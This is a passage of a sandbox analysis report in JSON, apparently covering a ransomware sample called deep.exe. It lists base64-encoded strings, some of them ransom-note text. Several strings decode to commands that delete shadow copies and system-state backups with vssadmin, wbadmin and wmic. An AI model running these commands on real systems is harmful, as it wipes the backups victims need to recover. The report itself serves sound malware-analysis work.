Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U29ja2V0UmVjZWl2ZUJ1ZmZlckxlbmd0aA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U29ja2V0U2VuZEJ1ZmZlckxlbmd0aA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U09GVFdBUkVcTWljcm9zb2Z0XFdiZW1cQ0lNT00=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U291cmNlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c098UT02ICg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3BlY2lhbEZvbGRlcnNDYWNoZVNpemU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U1FNU2VydmljZUxpc3Q=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c3NPYmplY3Q6OkdldFByb3BlcnR5UXVhbGlmaWVyU2V0KEwiJXMiLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U1RBUlRUSU1F","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3RhdHVzICAgICAgIExvY2FsICAgICBSZW1vdGUgICAgICAgICAgICAgICAgICAgIE5ldHdvcms=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RhdHVzQmFy","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c1RMKVVSUlBb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RvcmVzU2VydmljZUNsYXNzSW5mbw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RyZWFtUmVzb3VyY2U=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RyZWFtUmVzb3VyY2VUeXBl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5nIHRvbyBsb25n","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3U+YTNdMyoxdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U1VDQ0VTUyAlcyAtIFN1Y2NlZWRlZCAlcyAlcyB0aHJlYWQ6JWQgWyVzLiVkXQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U1VDQ0VTUzogJXM=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U1VMVENMQVNT","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3VwcG9ydGVkTmFtZVNwYWNl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3VwcHJlc3Npb25Qb2xpY3k=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3luY01vZGU1","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzRnJlZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtMzI=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtQmlvc1ZlcnNpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU2V0dXBJblByb2dyZXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU3RhcnRPcHRpb25z","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c3pUcmFpbGVy","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dDEkVGk4WjVI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dDNEIEhMU0wgQ29tcGlsZXI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dDxAVENtfSBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VGFiUHJvY0dyb3d0aA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VEFSR0VUTk9ERQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGNwQXV0b3R1bmluZw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dEVsZW1lbnQoLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGVtcFdtaWNCYXRjaEZpbGUuYmF0","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGVybWluYXRlUHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"dGV4dHRhYmxlLnhzbA==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VEVYVFZBTFVF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGV4dFZhbHVlTGlzdC54c2w=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGhhX2tfeV51","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VGhlIGNvbW1hbmQgY29tcGxldGVkIHN1Y2Nlc3NmdWxseS4=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhlIHRvdGFsIHNpemUgb2YgZmlsZXMgbXVzdCBiZSBsZXNzIHRoYW4gMTBNYiAobm9uIGFyY2hpdmVkKSwgYW5kIGZpbGVzIHNob3VsZCBub3QgY29udGFpbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VGhlbWVBcGlDb25uZWN0aW9uUmVxdWVzdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhpcyBlbWFpbCB3aWxsIGJlIGFzIGNvbmZpcm1hdGlvbiB5b3UgYXJlIHJlYWR5IHRvIHBheSBmb3IgZGVjcnlwdGlvbiBrZXku","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyJDc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VGhyZWFkaW5nTW9kZWw=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dGllcyIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGlsZVdhbGxwYXBlcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VElOVEVHUklUWQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"dElQVG06dHlV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dE5vZGUoLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VG90YWxMaW1pdA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFJBTlNMQVRF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNwYXJlbnRFbmFibGVk","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJlYXRBc1N5c3RlbQ==","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNBcHBDb21wYXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNVc2VyRW5hYmxlZA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFZ4NUdEfH4r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VFlQRSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"dSQ5PC1cIEl2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VSh0Ulo7bWtC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VSk8bi1nZUwu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VWBnaE95QSw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dWNZW2o5I3ZV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dWRZWUpUPVJY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dUUiIFZXKypf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dWx0Q2xhc3MgPQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VU08ZE5vWGBv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dU4zWTcnaGpf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VU5DQXNJbnRyYW5ldA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVy","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VXNlIEFuY2hvciBIb3ZlciBDb2xvcg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlIFN0eWxlc2hlZXRz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlX0RsZ0JveF9Db2xvcnM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlQ2xlYXJUeXBl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlRHJvcEhhbmRsZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlSG9zdG5hbWVBc0FsaWFz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlT2xkSG9zdFJlc29sdXRpb25PcmRlcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VVNFUjMyLmRsbA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VXNlVGhlbWVz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VVRGOFNlcnZlck5hbWVSZXM=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VVRITl9HU1NfS0VSQkVST1MsUlBDX0NfQVVUSFpfTk9ORSwgJXMsICVkLCAgICVkLCAtLCBFT0FDX05PTkUp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VVopW29NeHgy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dX1xMCA6eScr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VX5gfXprfCFdXg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ViV9Im4tNyd9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dlsrc2Uuamk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dkFJOzRIIEZVd0Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dmFsdWFibGUgaW5mb3JtYXRpb24gKGRhdGFiYXNlcywgYmFja3VwcywgbGFyZ2UgZXhjZWwgc2hlZXRzLCBldGMuKS4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VmFyaWFudENoYW5nZVR5cGUoLSwgLSwgMCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VmUlMWIyV2R0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dmVjdG9yPFQ+IHRvbyBsb25n","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VkZtJkNBPyg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dmljZXM6OkV4ZWNRdWVyeShMIldRTCIsIEwiJXMiLCAwLCBOVUxMLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VmlkZW9CaW9zVmVyc2lvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dmtATFlPVjRZ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VkxqdW9gQWg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dnNzYWRtaW4gIERlbGV0ZSBTaGFkb3dzIC9BbGwgL1F1aWV0","type":"Ansi","source":"Process Commandline","process":null,"filename":"vssadmin.exe","compromised":null,"detection_total":null,"total":null},{"value":"VlpUflBkOiF9Lk0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VnxBUy0rels9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Vy1yN256IFpX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VzFlKXwyYi0p","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dzJKZlg1Jzw1KQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclNpbmdsZU9iamVjdA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V2FsbHBhcGVyU3R5bGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNBbGlhc2VkTm90aWZpY2F0aW9ucw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNGT1JESVNQTEFZ","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNGT1JQQVJTSU5H","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNQYXJzZURpc3BsYXlOYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNVbml2ZXJzYWxEZWxlZ2F0ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FybkFsd2F5c09uUG9zdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uQmFkQ2VydFJlY3Zpbmc=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uSFRUUFNUb0hUVFBSZWRpcmVjdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uSW50cmFuZXQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uUG9zdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uUG9zdFJlZGlyZWN0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uWm9uZUNyb3NzaW5n","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"d2JhZG1pbiAgREVMRVRFIFNZU1RFTVNUQVRFQkFDS1VQIC1rZWVwVmVyc2lvbnM6MA==","type":"Ansi","source":"Process Commandline","process":null,"filename":"wbadmin.exe","compromised":null,"detection_total":null,"total":null},{"value":"V0hFUkUgU2NoZW1hT25seQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V2kmVXZXUVs8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V2lkZUNoYXJUb011bHRpQnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V2luMzJFcnJvcg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V2luZG93c0VkaXRpb24=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2luU29ja19SZWdpc3RyeV9WZXJzaW9u","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V0pOSFBwNFtMRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d21pYyAgU0hBRE9XQ09QWSBERUxFVEU=","type":"Ansi","source":"Process Commandline","process":null,"filename":"WMIC.exe","compromised":null,"detection_total":null,"total":null},{"value":"V01JQy5leGU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V01JQy5MT18=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V01JQy5MT0c=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V01JQy5wZGI=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V01JUkVDT1JE","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V09BVFJNRE1KS0VBVFVNUkRDTElQTUVOVTQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V3BhZE92ZXJyaWRl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V3BhZFNlYXJjaEFsbERvbWFpbnM=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V1JJVEVBQkxF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVDb25zb2xlVw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V1MyXzMyLmRsbA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3MyXzMyTnVtSGFuZGxlQnVja2V0cw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V3MyXzMyU3BpbkNvdW50","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V1ZmPl5hJV9+OSU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d3d3d3d3d3d3NC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d3d3d3d3d3d3d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d4d3h3eHd3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eCY3PURzZ05eSg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WCp2SlF7ekws","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eDNvWkRbXT1O","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WERvbWFpblJlcXVlc3Q=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"WFNMLU1hcHBpbmdzLnhtbA==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"WFNMRk9STUFU","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"eHRWYWx1ZUxpc3QueHNs","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"WHx+QEk6YDc8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WH05KUkqSzBf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eSBsez0uPjtN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WSQxJkpWLktR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eScwX3pefiYl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WTREY3tQLDYi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eTwwMV1UWy13","type":"Ansi","source":"Memory/File 